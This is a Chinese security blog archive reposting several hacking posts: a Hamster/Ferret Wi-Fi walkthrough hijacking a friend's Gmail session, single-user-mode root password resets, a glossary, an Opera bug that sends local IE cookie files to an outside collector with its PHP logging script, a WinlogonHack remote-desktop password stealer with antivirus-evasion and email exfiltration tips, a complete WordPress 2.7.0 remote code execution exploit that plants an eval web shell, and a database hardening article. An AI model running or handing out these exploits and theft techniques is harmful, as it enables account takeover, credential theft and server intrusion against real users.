分类 "网络安全" 的存档.

用hamster在无线网中通过ferret抓包实现对Gmail的劫持(sidejacking)

“黑帽子大会后传出的一个工具Ferret。作者声称可以利用他截获邮箱登录过程中的cookie信息。进而可以随意侵入他人的信箱。曾在黑帽子大会上当场演示如何破解Gmail,Hotmail等信箱。终于等到作者把代码和工具都发出来了。绝对棒,作者的代码功底很高。”
是吧,挺诱人的吧,随着链接点过去下下来发现就是Ferret,一个嗅探器。
这是工具的截图:

如果单独靠这个工具是可以用来抓包,但是说到破解Gmail Yahoo Hotmail等邮箱,还是有一定的误会的。
首先Robert Graham当时主要是提出cookie安全的重要性,因为在07年的黒帽黑客大会上,现场应用的是Wi-Fi无线网络。
而他使用了一个自己开发的工具叫“Hamster”,配合Ferret工具抓无线网络中的数据包,
在抓到其他人登录Gmail或者其它邮箱的cookie之后,用Hamster方便的进行cookie欺骗。
这种攻击方法被作者叫做“sidejacking”。
其实用Firefox的cookie edit组件或者基于IE内核的Maxthon的cookie Editer都可以修改cookie进行欺骗。
说了一大堆,总之有了Hamster还是方便快捷了太多太多,点击点击就轻松劫持了。
下载最新版本的Hamster,下载的工具包中包含了hamster.exe和最新版本的ferret.exe
好的我们来测试一下。
【下载】
下载hamster:基于无线网络通过ferret抓包实现对Gmail等邮箱的劫持(sidejacking)

插入说明:使用工具之前,一定要先安装Winpcap驱动,否则是无法运行的。
【下载】
WinPcap 4.0.2 最新稳定版本,强大的网络驱动程序

我找了好朋友areone 和我在同一个无线Wi-Fi网络中,然后我进入命令行界面。
1、首先要配置ferret,选择用哪块网卡抓包
运行ferret.exe -W

-W参数貌似帮助里面没有写出来,这用来识别我所用的网卡序号。如上图,我的无线网卡序号是2。
2、运行ferret抓包开始抓包
运行ferret.exe -i 2

看到字符翻滚了吧:)开始抓包了。
3、运行hamster
很简单,命令行直接运行即可或者直接双击

4、打开浏览器,进入代理服务器设置,添加代理服务器,127.0.0.1:3128

5、在浏览器中输入
http://hamster
出现管理界面。
我在内网的地址是192.168.0.102
areone在内网的地址是192.168.0.100
这时候areone在他的电脑上登录gmail。很快我这里就出现提示。

6、劫持
我直接点击
http://hamster页面上的链接,然后点击左侧列表中的gmail
自动弹出新窗口,并且开始劫持。

等待了一会儿,areone的gmail用户界面已经出现,我已经可以查看他的相关邮件了。
到这里,劫持完毕。
这就是一个典型的对无线网络劫持的案例演示
下载相关软件:
【下载】
下载hamster:基于无线网络通过ferret抓包实现对Gmail等邮箱的劫持(sidejacking)
【下载】
WinPcap 4.0.2 最新稳定版本,强大的网络驱动程序

简单回溯步骤:
1、下载安装Winpcap
2、将打包文件释放到目录中,命令行模式进入该目录
3、ferret.exe -W 参数选择使用哪块网卡进行嗅探
4、ferret.exe -i 网卡序号 开始嗅探
5、启动hamster.exe
6、在浏览器中设置代理服务器 地址为 127.0.0.1:3128
7、用浏览器访问
http://hamster
8、刷新后等抓到内容,点击就可以立即劫持。

博主0point手记:以前利用cookies欺骗获得论坛、博客权限很轻松,不曾想现在cookies欺骗还能利用于WIFI并且是邮箱劫持。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/373

Linux各版本的本地root密码破解方法

(一)RedHat/CentOS/Fedora 系统密码破解

1.在grub选项菜单按E进入编辑模式
2.编辑kernel 那行最后加上S (或者Single)
3.按B,启动到single-user mode
4.进入后执行下列命令
# mount -t proc proc /proc
# mount -o remount,rw /
#passwd
#sync
#reboot

(二)Debian linux 系统密码破解

1.在grub选项菜单'Debian GNU/Linux,…(recovery mode)',按e进入编辑模式
2.编辑kernel那行最后面的 ro single 改成 rw single init=/bin/bash,按b执行重启
3.进入后执行下列命令
root@(none)#mount -a
root@(none)#passwd root
root@(none)#reboot

(三)Freebsd 系统密码破解

1.开机进入引导菜单
2.选择每项(按4)进入单用户模式
3.进入之后输入一列命令
root@#mount -a
root@#fsck -y
root@#passwd(修改密码命令)
root@#root(要破解密码的用户名)
Enter new unix password:
root@#init 6 (重启)

(四)Solaris 系统密码破解

1.在grub选项菜中选择solaris failasfe 项
2.系统提示Do you wish to have it mounted read-write on /a ?[y,n,?] 选择y
3.就进入单用户模式
4.输入下列命令:passwd
root@#init 6 (重启)

(五)NetBsd 系统密码破解

1.开机:当出现提示符号并开始倒数五秒时, 键入以下指令:
> boot -s (进入单用户模式命令)
2.在以下的提示符号中
Enter pathname of shell or RETURN for sh:
按下 Enter。
3.键入以下指令:
# mount -a
# fsck -y
4.使用 passwd 更改 root 的密码。
5.使用 exit 指令进入多人模式。

(六)SUSE 系统密码破解

1.重新启动机器,在出现grub引导界面后,在启动linux的选项里加上init=/bin/bash,通过给内核传递init=/bin/bash参数使得OS在运行login程序之前运行bash,出现命令行。
2.稍等片刻出现(none)#:命令行。
3.这时输入mount -n / -o remount,rw 表示将根文件系统重新mount为可读写,有了读写权限后就可以通过passwd命令修改密码了。
4.这时输入passwd命令就可以重置密码了
5.修改完成后记得用mount -n / -o remount,ro将根文件系统置为原来的状态。

博主0point手记:这样看起来linux的账户安全性似乎比M$的还要差,M$至少要找个工具盘啥的还要用外置工具才能搞定。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/403

黑客术语网络安全名词

如果你看了很多安全文章和新闻,必然会接触到很多网络安全名词,如XSS,溢出。。。
下面就由0point给你一一解释:

——————————-我是0point.cn的分割线——————————————————————–

基本概念的清晰是一切技术之本,特别对于刚刚接触某一领域的新手来说,基本名词和术语尤为重要。

针对一些黑客新手,本专题搜集整理一些常见的有普及意义的网络安全名词,目的是让大家有一个基本的框架思想,在遇到一些网络安全技术问题的时候,对基本的概念了解清楚。

由于黑客网络安全技术的发展,名词非常多,欢迎广大黑客爱好者到论坛跟帖,补充、维护此列表,一起为新手提供一个全面完善的名词字典。

* 网络安全网络安全是一门涉及计算机科学、网络技术、通信技术、密码技术、信息安全技术、应用数学、数论、信息论等多种学科的综合性学科。网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不受偶然的或者恶意的原因而遭到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。网络安全从其本质上来讲就是网络上的信息安全。从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。网络安全的具体含义会随着“角度”的变化而变化。比如:从用户(个人、企业等)的角度来说,他们希望涉及个人隐私或商业利益的信息在网络上传输时受到机密性、完整性和真实性的保护,避免其他人或对手利用窃听、冒充、篡改、抵赖等手段侵犯用户的利益。 从网络运行和管理者角度说,他们希望对本地网络信息的访问、读写等操作受到保护和控制,避免出现“陷门”、病毒、非法存取、拒绝服务和网络资源非法占用和非法控制等威胁,制止和防御网络黑客的攻击。

* 黑客:英文hacker的译音。在Internet上有一批熟谙网络技术的人,其中不乏网络天才,经常用网络上现存的一些漏洞,想方设法进入他人的计算机系统。有些人只是为了一饱眼福,或纯粹出于个人兴趣,喜欢探人隐私,这些人通常不会造成一些危害。但也有一些人是存着不良动机侵入他人计算机系统的,通常会偷窥机密信息,或将其计算机系统捣毁。

* 特洛伊木马:一种看似合法的程序,实际上在其运行时执行不合法的活动。该程序可用于查找密码信息,使系统出现更多漏洞、或者只是单纯破坏程序和硬盘数据。

* 后门:一种用于获得对程序或在线服务访问权限的秘密方式。它是由程序的开发者内置于程序中,通过它可以对特定的功能进行特殊的访问。例如,内置于操作系统中的某个后门可能会允许运行该操作系统的任何计算机进行不受限制的访问。

* 肉鸡: 不是吃的那种,是中了攻击者的木马,或者留了后门,可以被攻击者远程操控的机器,现在许多人把有WEBSHELL权限的机器也叫肉鸡。

* 病毒:病毒是一种软件,它可以感染您的系统并将自己隐藏在现有的程序、系统或文档中。一旦执行了受感染的项目,病毒代码就被激活,并将自己发送给系统中的其它程序。受感染的项目又将病毒复制给其它项目。

* Cracker:这个名词很容易和Hacker混淆,实际意义是研究破解技术、逆向技术等的一批人。

* 端口:进出计算机的路径。这个是入侵是很重要的一个环节,端口这个东西就好象是我要买东西,需要在1号窗口来结帐,而开放的1号窗口就好比响应的端口,端口可以形象的比喻成窗口,不同的端口开放了不同的服务,大家可以在网上找到端口对照表来看下不同的端口开放的是什么服务。

* 拒绝服务:拒绝服务 (DoS) 是一种攻击行为,指系统入侵者通过发送大量的信息包使系统严重受限或崩溃,这些信息包中包含过长的数据段、错误报头信息或过量的服务请求。

* 防火墙:用于网络安全的硬件或软件。防火墙可以通过一个过滤数据包的路由器实现,也可由多个路由器、代理服务器和其他设备组合而成。防火墙通常用于将公司的公共服务器和内部网络分隔开来,使相关的用户可以安全的访问互联网。有时防火墙也用于内部网段的安全。例如:人力资源子网和研发或财务子网相隔离以防止来自内部的非授权访问。

* 缓冲溢出: 缓冲溢出指所传递参数的长度超出了某个函数所定义的范围。该函数没有校验参数的长度是否小于或等于其定义范围,然后将整个参数(过长)复制到一段长度很短的存储区域中,从而引起该函数的某部分存储区域被覆盖,通常是改变了参数栈/调用栈。

* 漏洞:漏洞是系统中的安全缺陷,漏洞可以导致入侵者获取信息并导致不正确的访问。

* Exploit:一个安全漏洞或者一个利用安全漏洞的示例。 Exploit 指尝试找出系统中所有漏洞的一种方法。

* 扫描:执行检测系统中弱点和漏洞的检查。

* 扫描器:扫描器是一种自动检测远程或本地主机安全性弱点的程序,通过使用扫描器你可一不留痕迹的发现远程服务器的各种TCP端口的分配及提供的服务!和它们的软件版本!这就能让我们间接的或直观的了解到远程主机所存在的安全问题。扫描器通过选用远程TCP/IP不同的端口的服务,并记录目标给予的回答,通过这种方法,可以搜集到很多关于目标主机的各种有用的信息(比如:是否能用匿名登陆!是否有可写的FTP目录,是否能用TELNET,HTTPD是用ROOT还是nobady在跑!)

* 操作系统:运行计算机的主要控制程序。操作系统的主要部分,称做内核,一直驻留在内存中。 它既可以由计算机供应商提供,也可以由第三方提供。操作系统由于设置了运行在系统上的应用程序的标准,因此是计算机系统的重要组件,所有程序必须与操作系统共同运行。

* 加密:出于安全目的而对数据进行编码。

* DOS攻击:最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,致使服务超载,无法响应其他的请求。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者向内的连接

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/404

opera 9.52使用ajax读取本地文件漏洞

by 空虚浪子心

这也可能是一个安全特性吧,opera可以使用ajax读取本地文件。

ff3没有这个漏洞。

不废话,看代码吧。

利用方式如下:

这段代码保存为本地htm文件,然后使用opera打开。

将会把本地用户名为administrator在alibaba的cookie,发送到http://www.inbreak.net/kxlzxtest/testxss/a.php

      
    
a.php代码:

          

   $user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
   $user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];  

   $fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");    
   fwrite($fp,$_GET["cookie"]);      
   fclose($fp);    
   ?>    
a.php会按照   IP+时间+cookie.txt 格式生成一个txt文件。
例如:121.0.29.2252009-01-05 11:55:02cookie.txt

里面保存着administrator@alibaba[1].txt的内容。几点说明:1,cookie文件是IE的,比较XX,但是有很多人都会IE和opera混用。2,必须预测本地用户名,不过很多人都是administrator。3,必须预测cookie文件名。这个可以取一些常用网站的,反正ajax是异步,你可以同时调用几个方法。4,或者你可以发送任何本地TXT文件。opera可能说这是特性?不知道了,反正FF3没这个漏洞,使用这种方式会报错访问拒绝。

from:http://www.inbreak.net/?action=show&id=141

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/406

系统密码获取工具–Winlogonhack

一、远程终端密码泄露分析

1.最新远程终端技术APP对于大型企业来说,一般都部署有远程终端,微软最新的服务器操作系统Windows 2008 Server中更是重点打造远程终端。终端服务器远程APP是Windows Server 2008中新的远程应用演示方法。在远程连接的一些参数上进行了调整,增加了一些新的功能,据说性能也有较大提高!

2.远程终端密码泄露分析
在大型网络中,由于网络环境复杂,因此服务器之间往往通过远程终端来维护和管理,这种管理在方向不太固定,多是发散。有的可能是通过一台主机登录多台主机,也有的可能是通过多台主机来登录同一台主机,也可能是混乱交叉登录,黑客在入侵网络某一台主机后,肯定会想办法收集网络内部或者跟外部独立主机之间的远程终端登录用户名称和密码。收集方法不外乎三种:

(1)使用GetHashes、Pwdump等工具获取系统的Hash密码值,然后通过LC5以及彩虹表来进行破解,破解成功后得到系统密码,这些密码极有可能是远程终端的密码。

(2)在被控制计算机上安装键盘记录,通过键盘记录来获取用户在登录3389远程终端过程所输入的用户名和密码。这种方法有一定的限制,键盘记录在远程终端窗口最大化时有可能无法记录远程终端登录密码。

(3)使用WinlogonHacK工具软件截取远程登录时所输入的正确密码。这也是本文要重点介绍的部分。当然除了以上三种外,还有一些其它的泄露途径。

二、WinlogonHack工具软件截取密码原理

1.Gina.dll与Msgina.dll
Gina.dll在NT/2000中交互式的登陆支持是由WinLogon调用Gina.dll实现的,Gina.dll提供了一个交互式的界面为用户登陆提供认证请求。WinLogon会和Gina.dll进行交互,缺省是msgina.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写Gina.dll来代替Msgina.dll。

不知道什么原因,微软的Gina.dll在Windows XP以及后续版本中都不再出现,原来的Gina.dll改为Msgina.dll(加了ms表示是微软的,嘿嘿!)。Msgina.dll在WindowsXP系统中默认大小为967,680 字节(945K),在Windows 2003中其大小为1,180,672 字节(1153K),如果不是这个大小,估计就有问题了。

2.Msgina.dll文件被损坏和修改将导致严重错误
在DLL知识库(http://www.dofile.com/dlllibrary/msgina/)中是这样描述的:msgina.dll是Windows登陆认证策略相关模块,该模块用于完成所有用户登陆和验证功能,如果系统中的这个文件被修改或者破坏,将导致系统无法使用3389进行登录。

3.WinlogonHack截取密码原理
WinlogonHack通过挂钩系统中的msgina.dll的WlxLoggedOutSAS函数,记录登录账户密码!WinLogon初始化时会创建3个桌面:

(1)Winlogon桌面:主要显示Windows 安全等界面,如你按下“CTRL+ALT+DEL”快捷看所出现的登陆的界面等。
(2)应用程序桌面:我们平时见到的那个有我的电脑的界面。
(3)屏幕保护桌面:屏幕保护显示界面。

在默认情况下,Gina.dll或者Msgina.dll显示登陆对话框,用户输入用户名及密码。所以要获得用户名和密码,则可以写一个新的Gina.DLL或者Msgina.dll,其中提供接口调用msgina.dll的函数是WlxLoggedOutSAS。启动就用winlogon通知包,当有3389,连上服务器时。新创建的 winlogon.exe会在登录前加载,注册了 “Startup”的dll,Hook了函数,登录成功后,记录密码到 boot.dat 文件,并取消Hook。退出3389后,dll文件即可删除。在实现上只要msgina.dll中WlxLoggedOutSAS函数的前五个字节:
mov edi,edi
push ebp
mov ebp,esp
关于WinlogonHack工具如何具体实现3389远程终端密码的截取,请查看Winlogonhack的源代码以及程序(http://www.antian365.com/bbs/forumdisplay.php?fid=180)。

三、使用WinlogonHack获取密码实例

在WinlogonHack之前有一个Gina木马主要用来截取Windows 2000下的密码,WinlogonHack主要用于截取Windows XP以及Windows 2003 Server。

1.执行install.bat安装脚本
一种方法是将WinlogonHack的安装程序文件Hookmsgina.dll、install.bat、On.reg以及ReadLog.bat复制到一个相同文件夹下面,然后在Dos提示符或者GUI界面写直接运行install.bat即可。执行完毕后不需要重启,当有3389登上时,自动加载DLL,并且记录登录密码!保存在系统system32目录的boot.dat文件中,另外一种方法是将所有文件都放在同一个文件夹中,然后执行install命令即可。

2.查看密码记录
可以直接打开boot.dat文件查看,也可以运行“ReadLog.bat”脚本移动密码文件到当前目录查中查看。在本例中的操作系统是Windows 2003 Server,直接通过Radmin的telnet,然后先执行“dir boot.dat /a”命令,查看是否有人远程进行登录,如图3所示,boot.dat大小为5762字节,有货!使用“type boot.dat”可以看到记录的登录时间、用户、域名、密码以及旧密码。出现两个密码主要是用于记录用户更改了密码的情况下。

3.卸载WinlogonHack
执行“Uninstall.bat”即可自动卸载该程序,如果“%systemroot%\system32\wminotify.dll”文件未能删除,可以重启后删除!

四、攻击与防范方法探讨

1.攻击方法探讨
(1)定制化开发
WinlogonHack代码是开源的,因此入侵者可以定制它,即在“lstrcat( LogPath , "\\boot.dat");”代码中将boot.dat换成其它一个文件,执行Winlogonhack后,一般人员很难发觉。入侵者还可以在此基础上增加一个邮件发送功能,将记录下来的3389远程终端用户名和密码发送到指定的邮箱,笔者在安全加固过程中就曾经碰到过具有这种功能的3389密码截取木马软件。

(2)对WinlogonHack软件做免杀处理
由于WinlogonHack工具软件在网络入侵中扮演了一个重要的辅助角色,因此一些厉害的杀毒软件会自动查杀wminotify.dll文件,因此可以通过加花指令、修改特征码等方法修改wminotify.dll文件,使其能够绕过杀毒软件。

(3)WinlogonHack在攻击中应用
WinlogonHack工具软件主要用于截取3389登录密码,因此在被入侵计算机上运行mstsc后,如果发现在mstsc的计算机地址栏目中出现有多个登录IP地址列表,那么在该计算机上就有安装WinlogonHack软件的必要,通过它来记录在服务器上管理员所登录的3389用户名和密码。

2.防范方法探讨
(1)在系统目录查找“wminotify.dll”文件,如果发现有这个文件,则说明系统中一定安装了Winlogonhack工具,可以通过登录一个3389终端来测试,系统目录下是否存在boot.dat文件,如果存在,则可以尝试使用“Uninstall.bat”批处理来卸载它,如果还不能卸载,可以重启后再次卸载。

(2)直接到注册表的键值“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\wminotify”下进行查看,如果存在,则删除即可。

(3)对于定制的WinlogonHack比较难于根除,一个好的办法就是在系统安全状态下做一次文件名称列表备份,以后每次检测系统是通过比较系统目前状态下的文件列表的异同来查看。

(4)如果使用3389远程终端登录多台服务器进行管理,最好在管理完毕后,及时清除3389登录地址列表。

(5)定期杀毒,

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/413

WordPress 2.7.0 admin remote code execution vulner

by Ryat[puretot]
mail: puretot at gmail dot com
team: http://www.80vul.com
date: 2008-12-18

一分析:

这个漏洞出在后台:(

wp-admin/post.php

复制内容到剪贴板程序代码程序代码
if ( current_user_can('edit_post', $post_ID) ) {
if ( $last = Roger2011_check_post_lock( $post->ID ) ) {
$last_user = get_userdata( $last );
$last_user_name = $last_user ? $last_user->display_name : __('Somebody');
$message = sprintf( __( 'Warning: %s is currently editing this post' ), Roger2011_specialchars( $last_user_name ) );
$message = str_replace( "'", "\'", "
$message

" );
//提交\'经过此处代码处理后变为\\' 🙂
add_action('admin_notices', create_function( '', "echo '$message';" ) );
//利用上面的方法闭合echo后面的单引号,就可以执行命令了[ex:\';phpinfo();\'];另外这个地方也可以利用create_function函数自身的一个bug[1]来执行命令[ex:\';}phpinfo();//]
} else {
Roger2011_set_post_lock( $post->ID );
Roger2011_enqueue_script('autosave');
}
}

2.EXP:

#!/usr/bin/php

print_r('
+—————————————————————————+
WordPress 2.7.0 remote code execution exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
site: http://www.80vul.com
dork: "powered by WordPress"
+—————————————————————————+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 6) {
print_r('
+—————————————————————————+
Usage: php '.$argv[0].' host path user pass post
host: target server (ip/hostname)
path: path to wordpress
user: admin login username
pass: admin login password
post: the available post id
Example:
php '.$argv[0].' localhost /wp/ admin 123456 1
+—————————————————————————+
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];
$post = $argv[5];

$shellcode = '\\\';eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));\\\'';
//$shellcode = '\\\';}eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));//';
$shell = 'http://'.$host.$path.'wp-content/plugins/wolvez.php';
/**
* wolvez.php has this code:
*
*/
$url = $path.'wp-login.php';
$cmd = 'log='.urlencode($user).'&pwd='.urlencode($pass);
$resp = send();
preg_match('/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/', $resp, $admin_cookie);

if (!$admin_cookie)
exit("Exploit Failed!\n");

$url = $path.'wp-admin/user-new.php#add-new-user';
$cmd = '';
$resp = send($admin_cookie[1]);
preg_match('/name="_wpnonce"\svalue="([a-z0-9]{10})"/', $resp, $_wpnonce);

if (!$_wpnonce)
exit("Exploit Failed!\n");

$cmd = '_wpnonce='.$_wpnonce[1].'&action=adduser&user_login=ryat&email=ryat%40ryat.com&pass1=123456&pass2=123456&role=editor&display_name='.$shellcode;
$resp = send($admin_cookie[1]);

if (strpos($resp, 'users.php?usersearch=ryat&update=add#user') === false)
exit("Exploit Failed!\n");

$url = $path.'wp-login.php';
$cmd = 'log=ryat&pwd=123456';
$resp = send();
preg_match('/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/', $resp, $editor_cookie);

if (!$editor_cookie)
exit("Exploit Failed!\n");

$url = $path.'wp-admin/post.php?action=edit&post='.$post;
$cmd = '';
send($editor_cookie[1]);
send($admin_cookie[1]);

if (strpos(file_get_contents($shell), 'puret_t') !== false)
exit("Expoilt Success!\nView Your shell:\t$shell\n");
else
exit("Exploit Failed!\n");

function send($cookie = '')
{
global $host, $path, $url, $cmd;

$data = "POST $url HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Referer: http://$host$path\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$data .= "Host: $host\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n";
$data .= "Connection: Close\r\n";
$data .= "Cookie: $cookie\r\n\r\n";
$data .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/432

数据库服务器安全的权限控制策略

      任何服务器,安全与性能是两个永恒的主题。作为企业的信息化安全人员,其主要任务就是如何在保障服务器性能的前提下提高服务器的安全性。而要做到这一点,服务器的访问权限控制策略无疑是其中的一个重要环节。笔者企业最近上了一台新的数据库服务器,我为他设计了一些权限控制手段。这些方法虽然不能够百分之百的保证数据库服务器的安全性,但是,这些仍然是数据库服务器安全策略中必不可少的因素。他对提高数据库服务器的安全性有着不可磨灭的作用。
  其实,这些控制策略,不但对数据库服务器有效;对其他的应用服务器仍然具有参考价值。
  一、给用户授予其所需要的最小权限
  不要给数据库用户提供比其需要的还要多的权限。换句话说,只给用户真正需要的、为高效和简洁地完成工作所需要的权限。这个道理很容易理解。这就好像防止职业贪污一样。你若只给某个员工其完成工作所必需的费用,一分都不多给,那其从哪里贪污呢?
  如从数据库服务器的角度来考虑这个问题,这就要求数据库管理员在设置用户访问权限的时候,注意如下几个方面的问题。

  1.是要限制数据库管理员用户的数量。在任何一个服务器中,管理员具有最高的权限。为了让数据库维持正常的运转,必须给数据库配置管理员账户。否则的话,当数据库出现故障的时候,就没有合适的用户对其进行维护了。但是,这个管理员账户的数量要严格进行限制。不能为了贪图方便,把各个用户都设置成为管理员。如笔者企业,在一台数据库服务器中运行着两个实例,但是,只有一个数据库管理员负责数据库的日常维护。所以,就只有一个管理员账户。
  2.是选择合适的账户连接到数据库。一般数据库的访问权限可以通过两种方式进行控制。一是通过前台应用程序。也就是说,其连接到数据库是一个统一的账户,如管理员账户;但是,在前台应用程序中设置了一些关卡,来控制用户的访问权限。这种方式虽然可以减少前台程序开发的工作量,但是,对于数据库服务器的安全是不利的。二是在前台程序中,就直接利用员工账户的账号登陆到数据库系统。这种做法虽然可以提高数据库的安全性,但是,其前台配置的工作量会比较繁琐。而笔者往往采用折中的方法。在数据库中有两类账户,一类是管理员账户,只有前台系统管理员才可以利用这类账户登陆到数据库系统。另外一类是普通账户,其虽然可以访问数据库中的所有非系统对象,但是,他们不能够对数据库系统的运行参数进行修改。然后具体数据对象的访问,则通过前台应用程序控制。如此,前台应用程序普通员工只需要通过同一个账户连接到数据库系统。而系统管理员若需要进行系统维护,如数据库系统备份与还原,则可以通过数据库管理员账户连接到数据库系统。则即方便了前台应用程序的配置效率,又提高了数据库服务器的安全性。总之,我们的目的就是要限制以数据库管理员身份连接到数据库的用户数量。
  在其他应用服务器中,也有管理员账户与普通账户之分。在权限分配的时候,也最好只给用户授予其需要的最小权限,以保障数据库服务器的安全。
  二、取消默认账户不需要的权限
  在建立账户的时候,服务器往往给给其一些默认的权限。如在数据库中,Public是授予每个用户的默认角色。任何用户,只要没有指定具体的角色,则其都可以授予Public组的权限。这其中,还包括执行各种SQL语句的权限。如此,用户就有可能利用这个管理漏洞,去访问那些不允许他们直接访问的包。因为这个默认权限,对于那些需要他们并且需要合适配置和使用他们的应用来说,是非常有用的,所以,系统默认情况下,并没有禁止。但是,这些包可能不适合与其他应用。故,除非绝对的需要,否则就应该从默认缺陷中删除。
  也就是说,通常某个账户的默认权限,其是比较大的。如对于数据库来说,其账户的默认权限就是可以访问所有的非系统对象表。数据库设计的时候,主要是为了考虑新建用户的方便。而且,新建用户的时候,数据库确实也无法识别这个用户到底能够访问哪些用户对象。但是,对于企业应用系统来说,若给每个员工都默认具有这么大的访问权限,那则是很不安全的。
  笔者的做法是,会把应用系统的默认用户权限设置为最小,有些甚至把默认用户权限全部取消掉。这就迫使服务器管理员在建立账户的时候,给账户指定管理员预先设定的角色。这就可以有效的防止管理员“偷懒”。在建立账户的时候,不指定角色。
  三、正确的鉴别客户端
  正确的鉴别客户端的合法性,这是提高应用服务器安全性的一个不二法则。有时候,为了服务器安全性考虑,必须要求对客户端的合法性进行鉴别。对此,我们可以通过如下措施来管理客户端。
  一是对于具有管理员账户的角色进行远程鉴别。虽然从理论上说,可以对任何一台客户端都采取远程鉴别,如通过主机名或者IP地址进行合法性鉴别。但是,这么做的话,往往太过于小题大做,会增加管理上的烦恼。或者说,投入与回报不成正比。所以,在实际配置中,笔者不会对每一台客户端都进行合法性验证。而只对于利用管理员账户登陆服务器的客户端才进行合法性验证。如可以在数据库服务器上进行设置,只有哪几个IP地址才可以通过管理员角色连接到数据库系统中。通过对客户端身份的合法鉴别,就可以再进一步提高数据库服务器管理员角色账户的安全性。即使管理员账户与口令被窃取,有客户端身份验证这一功能,也不怕他们进行非法攻击。
  二是不要太过于相应客户端的自我保护功能。如在某个品牌的数据库系统中,有一种远程鉴别功能。他会处理连接到数据库的远程客户的用户鉴别问题。数据库绝对信任任何客户都已经进行了正确的鉴别。但是,我们都知道,在任何情况下,我们不能够相信客户端会正确地执行操作系统鉴别。故,往往这个安全特性只是作为摆设。对于数据库服务器来说,一个比较安全的做法是,不采用这种远程鉴别功能,而是在服务器上对客户端进行统一的鉴别。如在服务器上,通过身份认证功能来确保连接到服务器上的客户端的合法性与真实性。
  四、数据库系统最好不要穿透防火墙
  如果把数据库服务器放置在防火墙的后面,则最好在任何情况下,都不要穿透该防火墙。否则的话,会让数据库系统失去防火墙的保护,从而把数据库暴露在互联网下,成为众多黑客茶余饭后“调戏”、“攻击”的对象。
  例如,不要打开数据库的1521端口来与互联网进行连接。如果用户执意要这么做的话,则会引起很多重要的安全弱点。因为攻击者可以凭借这个弱点,打开更多的穿透防火墙的端口、多线程操作系统服务器的问题,以及泄漏防火墙后面应用服务器中的重要信息。再者,这个弱点还有可能被用来探测数据库服务器的关键细节,如利用窃听监听器来获得关键信息。因为监听器会监听该数据库的运行轨迹、登陆

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/435